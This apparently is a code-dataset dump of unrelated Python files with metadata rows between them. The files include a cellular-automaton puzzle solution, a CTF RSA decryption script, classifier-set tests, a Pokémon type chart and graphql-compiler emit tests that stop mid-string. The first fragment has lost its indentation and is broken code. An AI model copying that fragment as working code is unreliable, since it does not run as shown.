loop = (-1, 0, 1)
for _ in range(6):
_map_counter = Counter()
for x, y, z in processed:
for i in loop:
for j in loop:
for k in loop:
if i == j == k == 0:
continue
_map_counter[(x+i, y+j, z+k)] += 1
new_pr = set()
for _sets, _count in _map_counter.items():
if _count == 3:
new_pr.add(_sets)
for _sets in processed:
if _map_counter[_sets] in [2, 3]:
new_pr.add(_sets)
processed = new_pr
print(f'partOne:{len(processed)}')
# part two same with 4d
processed = set()
for x, _line in enumerate(inputs):
for y, _char in enumerate(_line):
if _char == '#':
processed.add((x, y, z, 0))
loop = (-1, 0, 1)
for _ in range(6):
_map_counter = Counter()
for x, y, z, a in processed:
for i in loop:
for j in loop:
for k in loop:
for l in loop:
if i == j == k == l == 0:
continue
_map_counter[(x+i, y+j, z+k, a+l)] += 1
new_pr = set()
for _sets, _count in _map_counter.items():
if _count == 3:
new_pr.add(_sets)
for _sets in processed:
if _map_counter[_sets] in [2, 3]:
new_pr.add(_sets)
processed = new_pr
print(f'partTwo:{len(processed)}')
| 26.292308
| 63
| 0.499707
| 245
| 1,709
| 3.289796
| 0.244898
| 0.099256
| 0.055831
| 0.044665
| 0.80397
| 0.80397
| 0.784119
| 0.784119
| 0.784119
| 0.784119
| 0
| 0.021375
| 0.370392
| 1,709
| 64
| 64
| 26.703125
| 0.727695
| 0.033938
| 0
| 0.730769
| 0
| 0
| 0.037621
| 0.029126
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.019231
| 0
| 0.019231
| 0.038462
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a843eea94494146b1eb3e6e9aafc1a23773c50f
| 281
|
py
|
Python
|
or_suite/agents/__init__.py
|
JasmineSamadi/ORSuite
|
e2b2b0a5b497ea6566e794dcef1f176081fca4ce
|
[
"MIT"
] | null | null | null |
or_suite/agents/__init__.py
|
JasmineSamadi/ORSuite
|
e2b2b0a5b497ea6566e794dcef1f176081fca4ce
|
[
"MIT"
] | null | null | null |
or_suite/agents/__init__.py
|
JasmineSamadi/ORSuite
|
e2b2b0a5b497ea6566e794dcef1f176081fca4ce
|
[
"MIT"
] | null | null | null |
from or_suite.agents.agent import *
import or_suite.agents.rl
import or_suite.agents.ambulance
import or_suite.agents.resource_allocation
import or_suite.agents.rideshare
import or_suite.agents.airline_revenue_management
import or_suite.agents.inventory_control_multiple_suppliers
| 35.125
| 59
| 0.88968
| 42
| 281
| 5.642857
| 0.428571
| 0.206751
| 0.383966
| 0.481013
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.05694
| 281
| 7
| 60
| 40.142857
| 0.89434
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6a9c54d2e5b238421d848b83420e2b0bed754e61
| 14
|
py
|
Python
|
test_data/parse_retree/expected/quantifier/non_greedy/exactly_3/source.py
|
aas-core-works/aas-core-codegen
|
afec2cf363b6cb69816e7724a2b58626e2165869
|
[
"MIT"
] | 5
|
2021-12-29T12:55:34.000Z
|
2022-03-01T17:57:21.000Z
|
test_data/parse_retree/expected/quantifier/non_greedy/exactly_3/source.py
|
aas-core-works/aas-core-codegen
|
afec2cf363b6cb69816e7724a2b58626e2165869
|
[
"MIT"
] | 10
|
2021-12-29T02:15:55.000Z
|
2022-03-09T11:04:22.000Z
|
test_data/parse_retree/expected/quantifier/non_greedy/exactly_3/source.py
|
aas-core-works/aas-core-codegen
|
afec2cf363b6cb69816e7724a2b58626e2165869
|
[
"MIT"
] | 2
|
2021-12-29T01:42:12.000Z
|
2022-02-15T13:46:33.000Z
|
"a{ \t3 \t}?"
| 7
| 13
| 0.285714
| 3
| 14
| 1.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 0.214286
| 14
| 1
| 14
| 14
| 0.272727
| 1.285714
| 0
| 0
| 0
| 0
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
6aae0ab3518a278a3c3832591c4dbe7d205593c7
| 720
|
py
|
Python
|
Gathered CTF writeups/2015-10-10-asisfin/crypto_175_bodu/solve.py
|
mihaid-b/CyberSakura
|
f60e6b6bfd6898c69b84424b080090ae98f8076c
|
[
"MIT"
] | 1
|
2022-03-27T06:00:41.000Z
|
2022-03-27T06:00:41.000Z
|
Gathered CTF writeups/2015-10-10-asisfin/crypto_175_bodu/solve.py
|
mihaid-b/CyberSakura
|
f60e6b6bfd6898c69b84424b080090ae98f8076c
|
[
"MIT"
] | null | null | null |
Gathered CTF writeups/2015-10-10-asisfin/crypto_175_bodu/solve.py
|
mihaid-b/CyberSakura
|
f60e6b6bfd6898c69b84424b080090ae98f8076c
|
[
"MIT"
] | 1
|
2022-03-27T06:01:42.000Z
|
2022-03-27T06:01:42.000Z
|
clearText = pow(0x025051c6c4e82266e0b9e8a47266531a01d484b0dc7ee629fb5a0588f15bf50281f46cf08be71e067ac7166580f144a6bdcc83a90206681c2409404e92474b37de67d92fd2fa4bc4bd119372b6d50c0377758fc8e946d203a040e04d6bfe41dfb898cd4e36e582f16ad475915ac2c6586d874dd397e7ed1cb2d3f2003586c257, 89508186630638564513494386415865407147609702392949250864642625401059935751367507, 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901)
print(('0'+hex(clearText)[2:][:-1]).decode("hex"))
| 144
| 666
| 0.952778
| 13
| 720
| 52.769231
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.787921
| 0.011111
| 720
| 4
| 667
| 180
| 0.175562
| 0
| 0
| 0
| 0
| 0
| 0.005571
| 0
| 0
| 1
| 0.359331
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
6ac74d919baf3b558f0a0d961a37960ed8b3b5fd
| 6,036
|
py
|
Python
|
piecewise/test/unit/test_classifier_set.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 3
|
2019-12-04T02:28:08.000Z
|
2022-02-02T13:13:36.000Z
|
piecewise/test/unit/test_classifier_set.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 5
|
2020-01-15T04:33:36.000Z
|
2021-03-26T14:58:47.000Z
|
piecewise/test/unit/test_classifier_set.py
|
jtbish/piecewise
|
d27e095e298698d83901bfd1236e0e0669261136
|
[
"MIT"
] | 1
|
2020-06-04T08:55:27.000Z
|
2020-06-04T08:55:27.000Z
|
import pytest
from piecewise.dtype import ClassifierSet
from piecewise.error.classifier_set_error import MemberNotFoundError
@pytest.fixture
def classifier_set():
return ClassifierSet()
class TestClassifierSetBaseViaClassifierSet:
def test_num_micros_single_microclassifier(self, classifier_set,
mock_microclassifier):
classifier_set.add(mock_microclassifier)
assert classifier_set.num_micros == 1
def test_num_micros_multiple_microclassifiers(self, classifier_set,
make_mock_microclassifier):
first_microclassifier = make_mock_microclassifier()
second_microclassifier = make_mock_microclassifier()
classifier_set.add(first_microclassifier)
classifier_set.add(second_microclassifier)
assert classifier_set.num_micros == 2
def test_num_micros_single_macroclassifier(self, classifier_set,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_macroclassifier)
assert classifier_set.num_micros == 2
def test_num_micros_multiple_macroclassifiers(self, classifier_set,
make_mock_macroclassifier):
first_macroclassifier = make_mock_macroclassifier(numerosity=2)
second_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(first_macroclassifier)
classifier_set.add(second_macroclassifier)
assert classifier_set.num_micros == 4
def test_num_micros_mixed(self, classifier_set, mock_microclassifier,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_microclassifier)
classifier_set.add(mock_macroclassifier)
assert classifier_set.num_micros == 3
def test_num_macros_single_microclassifier(self, classifier_set,
mock_microclassifier):
classifier_set.add(mock_microclassifier)
assert classifier_set.num_macros == 1
def test_num_macros_multiple_microclassifiers(self, classifier_set,
make_mock_microclassifier):
first_microclassifier = make_mock_microclassifier()
second_microclassifier = make_mock_microclassifier()
classifier_set.add(first_microclassifier)
classifier_set.add(second_microclassifier)
assert classifier_set.num_macros == 2
def test_num_macros_single_macroclassifier(self, classifier_set,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_macroclassifier)
assert classifier_set.num_macros == 1
def test_num_macros_multiple_macroclassifiers(self, classifier_set,
make_mock_macroclassifier):
first_macroclassifier = make_mock_macroclassifier(numerosity=2)
second_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(first_macroclassifier)
classifier_set.add(second_macroclassifier)
assert classifier_set.num_macros == 2
def test_num_macros_mixed(self, classifier_set, mock_microclassifier,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_microclassifier)
classifier_set.add(mock_macroclassifier)
assert classifier_set.num_macros == 2
def test_containment_pos_case(self, classifier_set, mock_microclassifier):
classifier_set.add(mock_microclassifier)
assert mock_microclassifier in classifier_set
def test_containment_neg_case(self, classifier_set, mock_microclassifier):
assert mock_microclassifier not in classifier_set
def test_iter_empty_case(self):
empty_classifier_set = ClassifierSet()
members = [member for member in empty_classifier_set]
assert members == []
def test_iter_non_empty_case(self, mock_microclassifier):
classifier_set = ClassifierSet()
classifier_set.add(mock_microclassifier)
members = [member for member in classifier_set]
assert len(members) == 1
assert members[0] == mock_microclassifier
class TestClassifierSet:
def test_add_microclassifier(self, classifier_set, mock_microclassifier):
classifier_set.add(mock_microclassifier)
assert classifier_set._members[-1] == mock_microclassifier
def test_add_macroclassifier(self, classifier_set,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_macroclassifier)
assert classifier_set._members[-1] == mock_macroclassifier
def test_remove_microclassifier(self, classifier_set,
mock_microclassifier):
classifier_set.add(mock_microclassifier)
classifier_set.remove(mock_microclassifier)
assert classifier_set.num_micros == 0
assert classifier_set.num_macros == 0
def test_remove_macroclassifier(self, classifier_set,
make_mock_macroclassifier):
mock_macroclassifier = make_mock_macroclassifier(numerosity=2)
classifier_set.add(mock_macroclassifier)
classifier_set.remove(mock_macroclassifier)
assert classifier_set.num_micros == 0
assert classifier_set.num_macros == 0
def test_remove_non_member(self, classifier_set, mock_microclassifier):
with pytest.raises(MemberNotFoundError):
classifier_set.remove(mock_microclassifier)
assert classifier_set.num_micros == 0
assert classifier_set.num_macros == 0
| 45.727273
| 78
| 0.702783
| 604
| 6,036
| 6.604305
| 0.092715
| 0.221609
| 0.088243
| 0.088243
| 0.846578
| 0.782652
| 0.764101
| 0.757834
| 0.757834
| 0.755829
| 0
| 0.006575
| 0.244036
| 6,036
| 131
| 79
| 46.076336
| 0.867631
| 0
| 0
| 0.598131
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.214953
| 1
| 0.186916
| false
| 0
| 0.028037
| 0.009346
| 0.242991
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0a7a83aee5efe607e19ec07553e00e4b85059d56
| 5,614
|
py
|
Python
|
data.py
|
mglerner/PoGoQuizBot
|
d15e8d880e3d5f1b669df72014c71b941aa8df1f
|
[
"Apache-2.0"
] | null | null | null |
data.py
|
mglerner/PoGoQuizBot
|
d15e8d880e3d5f1b669df72014c71b941aa8df1f
|
[
"Apache-2.0"
] | null | null | null |
data.py
|
mglerner/PoGoQuizBot
|
d15e8d880e3d5f1b669df72014c71b941aa8df1f
|
[
"Apache-2.0"
] | null | null | null |
# effectiveness[attacker][defender]
# key: neutral damage is a 1. super effective is a 2. not very effective is a 0.5. double resisted is a 0.
# The damage multiplipers are 1.6, 1, 0.62 and 0.39
effectiveness_to_words = {1:'neutral',2:'super effective',0.5:'not very effective',0:'double resisted'}
effectiveness = {
'normal': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':1.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':0.5, 'ghost':0.0, 'dragon':1.0, 'dark':1.0, 'steel':0.5, 'fairy':1.0,
},
'fire': {
'normal':1.0, 'fire':0.5, 'water':0.5, 'electric':1.0, 'grass':2.0, 'ice':2.0, 'fighting':1.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':2.0, 'rock':0.5, 'ghost':1.0, 'dragon':0.5, 'dark':1.0, 'steel':2.0, 'fairy':1.0,
},
'water': {
'normal':1.0, 'fire':2.0, 'water':0.5, 'electric':1.0, 'grass':0.5, 'ice':1.0, 'fighting':1.0, 'poison':1.0, 'ground':2.0,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':2.0, 'ghost':1.0, 'dragon':0.5, 'dark':1.0, 'steel':1.0, 'fairy':1.0,
},
'electric': {
'normal':1.0, 'fire':1.0, 'water':2.0, 'electric':0.5, 'grass':0.5, 'ice':1.0, 'fighting':1.0, 'poison':1.0, 'ground':0.0,
'flying':2.0, 'psychic':1.0, 'bug':1.0, 'rock':1.0, 'ghost':1.0, 'dragon':0.5, 'dark':1.0, 'steel':1.0, 'fairy':1.0,
},
'grass': {
'normal':1.0, 'fire':0.5, 'water':2.0, 'electric':1.0, 'grass':0.5, 'ice':1.0, 'fighting':1.0, 'poison':0.5, 'ground':2.0,
'flying':0.5, 'psychic':1.0, 'bug':0.5, 'rock':2.0, 'ghost':1.0, 'dragon':0.5, 'dark':1.0, 'steel':0.5, 'fairy':1.0,
},
'ice': {
'normal':1.0, 'fire':0.5, 'water':0.5, 'electric':1.0, 'grass':2.0, 'ice':0.5, 'fighting':1.0, 'poison':1.0, 'ground':2.0,
'flying':2.0, 'psychic':1.0, 'bug':1.0, 'rock':1.0, 'ghost':1.0, 'dragon':2.0, 'dark':1.0, 'steel':0.5, 'fairy':1.0,
},
'fighting': {
'normal':2.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':2.0, 'fighting':1.0, 'poison':0.5, 'ground':1.0,
'flying':0.5, 'psychic':0.5, 'bug':0.5, 'rock':2.0, 'ghost':0.0, 'dragon':1.0, 'dark':2.0, 'steel':2.0, 'fairy':0.5,
},
'poison': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':2.0, 'ice':1.0, 'fighting':1.0, 'poison':0.5, 'ground':0.5,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':0.5, 'ghost':0.5, 'dragon':1.0, 'dark':1.0, 'steel':0.0, 'fairy':2.0,
},
'ground': {
'normal':1.0, 'fire':2.0, 'water':1.0, 'electric':2.0, 'grass':0.5, 'ice':1.0, 'fighting':1.0, 'poison':2.0, 'ground':1.0,
'flying':0.0, 'psychic':1.0, 'bug':0.5, 'rock':2.0, 'ghost':1.0, 'dragon':1.0, 'dark':1.0, 'steel':2.0, 'fairy':1.0,
},
'flying': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':0.5, 'grass':2.0, 'ice':1.0, 'fighting':2.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':2.0, 'rock':0.5, 'ghost':1.0, 'dragon':1.0, 'dark':1.0, 'steel':0.5, 'fairy':1.0,
},
'psychic': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':2.0, 'poison':2.0, 'ground':1.0,
'flying':1.0, 'psychic':0.5, 'bug':1.0, 'rock':1.0, 'ghost':1.0, 'dragon':1.0, 'dark':0.0, 'steel':0.5, 'fairy':1.0,
},
'bug': {
'normal':1.0, 'fire':0.5, 'water':1.0, 'electric':1.0, 'grass':2.0, 'ice':1.0, 'fighting':0.5, 'poison':0.5, 'ground':1.0,
'flying':0.5, 'psychic':2.0, 'bug':1.0, 'rock':1.0, 'ghost':0.5, 'dragon':1.0, 'dark':2.0, 'steel':0.5, 'fairy':0.5,
},
'rock': {
'normal':1.0, 'fire':2.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':2.0, 'fighting':0.5, 'poison':1.0, 'ground':0.5,
'flying':2.0, 'psychic':1.0, 'bug':2.0, 'rock':1.0, 'ghost':1.0, 'dragon':1.0, 'dark':1.0, 'steel':0.5, 'fairy':1.0,
},
'ghost': {
'normal':0.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':1.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':2.0, 'bug':1.0, 'rock':1.0, 'ghost':2.0, 'dragon':1.0, 'dark':0.5, 'steel':1.0, 'fairy':1.0,
},
'dragon': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':1.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':1.0, 'ghost':1.0, 'dragon':2.0, 'dark':1.0, 'steel':0.5, 'fairy':0.0,
},
'dark': {
'normal':1.0, 'fire':1.0, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':0.5, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':2.0, 'bug':1.0, 'rock':1.0, 'ghost':2.0, 'dragon':1.0, 'dark':0.5, 'steel':1.0, 'fairy':0.5,
},
'steel': {
'normal':1.0, 'fire':0.5, 'water':0.5, 'electric':0.5, 'grass':1.0, 'ice':2.0, 'fighting':1.0, 'poison':1.0, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':2.0, 'ghost':1.0, 'dragon':1.0, 'dark':1.0, 'steel':0.5, 'fairy':2.0,
},
'fairy': {
'normal':1.0, 'fire':0.5, 'water':1.0, 'electric':1.0, 'grass':1.0, 'ice':1.0, 'fighting':2.0, 'poison':0.5, 'ground':1.0,
'flying':1.0, 'psychic':1.0, 'bug':1.0, 'rock':1.0, 'ghost':1.0, 'dragon':2.0, 'dark':2.0, 'steel':0.5, 'fairy':1.0,
},
}
effectiveness_to_emoji = {
'double resisted':'🚫',
'not very effective':'😐',
'neutral':'🆗',
'super effective':'💥',
}
emoji_to_effectiveness = {}
for (k,v) in effectiveness_to_emoji.items():
emoji_to_effectiveness[v] = k
| 62.377778
| 131
| 0.509084
| 1,076
| 5,614
| 2.650558
| 0.051115
| 0.143759
| 0.035764
| 0.067321
| 0.817321
| 0.8054
| 0.803647
| 0.755961
| 0.705119
| 0.695652
| 0
| 0.142827
| 0.168151
| 5,614
| 89
| 132
| 63.078652
| 0.467024
| 0.033488
| 0
| 0.02381
| 0
| 0
| 0.357433
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0a86b9009320ee178acd5a6924de0a8b26868930
| 148
|
py
|
Python
|
code/DeepDA/loss_funcs/__init__.py
|
puchapu/transferlearning
|
88ceafe963a51a38ded22b709cfa44d4355112d2
|
[
"MIT"
] | 2
|
2021-07-02T02:41:01.000Z
|
2021-07-02T02:41:08.000Z
|
code/DeepDA/loss_funcs/__init__.py
|
xxlya/transferlearning
|
1f14c192706db52e3982daae623b5bbabb31ab57
|
[
"MIT"
] | null | null | null |
code/DeepDA/loss_funcs/__init__.py
|
xxlya/transferlearning
|
1f14c192706db52e3982daae623b5bbabb31ab57
|
[
"MIT"
] | 1
|
2021-07-30T00:24:35.000Z
|
2021-07-30T00:24:35.000Z
|
from loss_funcs.mmd import *
from loss_funcs.coral import *
from loss_funcs.adv import *
from loss_funcs.lmmd import *
from loss_funcs.daan import *
| 29.6
| 30
| 0.804054
| 25
| 148
| 4.56
| 0.36
| 0.350877
| 0.570175
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.128378
| 148
| 5
| 31
| 29.6
| 0.883721
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
0ac4eb8ad4093ddb8dbf34126f6f0e3be90ae659
| 13,095
|
py
|
Python
|
graphql_compiler/tests/test_emit_output.py
|
yangsong97/graphql-compiler
|
7b9e4b95fc8ae1bba07b635c89ba2c89cfb88763
|
[
"Apache-2.0"
] | null | null | null |
graphql_compiler/tests/test_emit_output.py
|
yangsong97/graphql-compiler
|
7b9e4b95fc8ae1bba07b635c89ba2c89cfb88763
|
[
"Apache-2.0"
] | null | null | null |
graphql_compiler/tests/test_emit_output.py
|
yangsong97/graphql-compiler
|
7b9e4b95fc8ae1bba07b635c89ba2c89cfb88763
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2017-present Kensho Technologies, LLC.
import unittest
from graphql import GraphQLString
from ..compiler import emit_gremlin, emit_match
from ..compiler.blocks import (Backtrack, ConstructResult, Filter, GlobalOperationsStart,
MarkLocation, QueryRoot, Traverse)
from ..compiler.expressions import (BinaryComposition, ContextField, LocalField, NullLiteral,
OutputContextField, TernaryConditional, Variable)
from ..compiler.helpers import Location
from ..compiler.ir_lowering_common import OutputContextVertex
from ..compiler.ir_lowering_match.utils import CompoundMatchQuery, construct_where_filter_predicate
from ..compiler.match_query import convert_to_match_query
from ..schema import GraphQLDateTime
from .test_helpers import compare_gremlin, compare_match
class EmitMatchTests(unittest.TestCase):
def setUp(self):
"""Disable max diff limits for all tests."""
self.maxDiff = None
def test_simple_immediate_output(self):
base_location = Location(('Foo',))
base_name_location = base_location.navigate_to_field('name')
ir_blocks = [
QueryRoot({'Foo'}),
MarkLocation(base_location),
ConstructResult({
'foo_name': OutputContextField(base_name_location, GraphQLString),
}),
]
match_query = convert_to_match_query(ir_blocks)
compound_match_query = CompoundMatchQuery(match_queries=[match_query])
expected_match = '''
SELECT Foo___1.name AS `foo_name` FROM (
MATCH {{
class: Foo,
as: Foo___1
}}
RETURN $matches
)
'''
received_match = emit_match.emit_code_from_ir(compound_match_query)
compare_match(self, expected_match, received_match)
def test_simple_traverse_filter_output(self):
base_location = Location(('Foo',))
base_name_location = base_location.navigate_to_field('name')
child_location = base_location.navigate_to_subpath('out_Foo_Bar')
ir_blocks = [
QueryRoot({'Foo'}),
Filter(BinaryComposition(
u'=',
LocalField(u'name'),
Variable('$desired_name', GraphQLString))),
MarkLocation(base_location),
Traverse('out', 'Foo_Bar'),
MarkLocation(child_location),
QueryRoot({'Foo'}),
MarkLocation(base_location),
ConstructResult({
'foo_name': OutputContextField(base_name_location, GraphQLString),
}),
]
match_query = convert_to_match_query(ir_blocks)
compound_match_query = CompoundMatchQuery(match_queries=[match_query])
expected_match = '''
SELECT Foo___1.name AS `foo_name` FROM (
MATCH {{
class: Foo,
where: ((name = {desired_name})),
as: Foo___1
}}.out('Foo_Bar') {{
as: Foo__out_Foo_Bar___1
}} , {{
class: Foo,
as: Foo___1
}}
RETURN $matches
)
'''
received_match = emit_match.emit_code_from_ir(compound_match_query)
compare_match(self, expected_match, received_match)
def test_output_inside_optional_traversal(self):
base_location = Location(('Foo',))
child_location = base_location.navigate_to_subpath('out_Foo_Bar')
child_location_name, _ = child_location.get_location_name()
child_name_location = child_location.navigate_to_field('name')
simple_optional_root_info = {
base_location: {'inner_location_name': child_location_name, 'edge_field': 'out_Foo_Bar'}
}
ir_blocks = [
QueryRoot({'Foo'}),
MarkLocation(base_location),
Traverse('out', 'Foo_Bar', optional=True),
MarkLocation(child_location),
QueryRoot({'Foo'}),
MarkLocation(base_location),
GlobalOperationsStart(),
Filter(construct_where_filter_predicate(simple_optional_root_info)),
ConstructResult({
'bar_name': TernaryConditional(
BinaryComposition(
u'!=',
OutputContextVertex(child_location),
NullLiteral
),
OutputContextField(child_name_location, GraphQLString),
NullLiteral)
}),
]
match_query = convert_to_match_query(ir_blocks)
compound_match_query = CompoundMatchQuery(match_queries=[match_query])
expected_match = '''
SELECT if(
eval("(Foo__out_Foo_Bar___1 IS NOT null)"),
Foo__out_Foo_Bar___1.name,
null
) AS `bar_name` FROM (
MATCH {{
class: Foo,
as: Foo___1
}}.out('Foo_Bar') {{
optional: true,
as: Foo__out_Foo_Bar___1
}} , {{
class: Foo,
as: Foo___1
}}
RETURN $matches
)
WHERE (
(
(Foo___1.out_Foo_Bar IS null)
OR
(Foo___1.out_Foo_Bar.size() = 0)
)
OR
(Foo__out_Foo_Bar___1 IS NOT null)
)
'''
received_match = emit_match.emit_code_from_ir(compound_match_query)
compare_match(self, expected_match, received_match)
def test_datetime_variable_representation(self):
base_location = Location(('Event',))
base_name_location = base_location.navigate_to_field('name')
ir_blocks = [
QueryRoot({'Event'}),
Filter(
BinaryComposition(
u'&&',
BinaryComposition(u'>=',
LocalField('event_date'),
Variable('$start', GraphQLDateTime)),
BinaryComposition(u'<=',
LocalField('event_date'),
Variable('$end', GraphQLDateTime))
)
),
MarkLocation(base_location),
ConstructResult({
'name': OutputContextField(base_name_location, GraphQLString)
}),
]
match_query = convert_to_match_query(ir_blocks)
compound_match_query = CompoundMatchQuery(match_queries=[match_query])
expected_match = '''
SELECT Event___1.name AS `name` FROM (
MATCH {{
class: Event,
where: ((
(event_date >= date({start}, "yyyy-MM-dd'T'HH:mm:ssX")) AND
(event_date <= date({end}, "yyyy-MM-dd'T'HH:mm:ssX"))
)),
as: Event___1
}}
RETURN $matches
)
'''
received_match = emit_match.emit_code_from_ir(compound_match_query)
compare_match(self, expected_match, received_match)
def test_datetime_output_representation(self):
base_location = Location(('Event',))
base_event_date_location = base_location.navigate_to_field('event_date')
ir_blocks = [
QueryRoot({'Event'}),
MarkLocation(base_location),
ConstructResult({
'event_date': OutputContextField(base_event_date_location, GraphQLDateTime)
}),
]
match_query = convert_to_match_query(ir_blocks)
compound_match_query = CompoundMatchQuery(match_queries=[match_query])
expected_match = '''
SELECT Event___1.event_date.format("yyyy-MM-dd'T'HH:mm:ssX") AS `event_date` FROM (
MATCH {{
class: Event,
as: Event___1
}}
RETURN $matches
)
'''
received_match = emit_match.emit_code_from_ir(compound_match_query)
compare_match(self, expected_match, received_match)
class EmitGremlinTests(unittest.TestCase):
def setUp(self):
"""Disable max diff limits for all tests."""
self.maxDiff = None
def test_simple_immediate_output(self):
base_location = Location(('Foo',))
base_name_location = base_location.navigate_to_field('name')
ir_blocks = [
QueryRoot({'Foo'}),
MarkLocation(base_location),
ConstructResult({
'foo_name': OutputContextField(base_name_location, GraphQLString),
})
]
expected_gremlin = '''
g.V('@class', 'Foo')
.as('Foo___1')
.transform{it, m -> new com.orientechnologies.orient.core.record.impl.ODocument([
foo_name: m.Foo___1.name
])}
'''
received_match = emit_gremlin.emit_code_from_ir(ir_blocks)
compare_gremlin(self, expected_gremlin, received_match)
def test_simple_traverse_filter_output(self):
base_location = Location(('Foo',))
base_name_location = base_location.navigate_to_field('name')
child_location = base_location.navigate_to_subpath('out_Foo_Bar')
ir_blocks = [
QueryRoot({'Foo'}),
MarkLocation(base_location),
Traverse('out', 'Foo_Bar'),
Filter(BinaryComposition(
u'=',
LocalField(u'name'),
ContextField(base_location.navigate_to_field(u'name')))),
MarkLocation(child_location),
Backtrack(base_location),
ConstructResult({
'foo_name': OutputContextField(base_name_location, GraphQLString),
})
]
expected_gremlin = '''
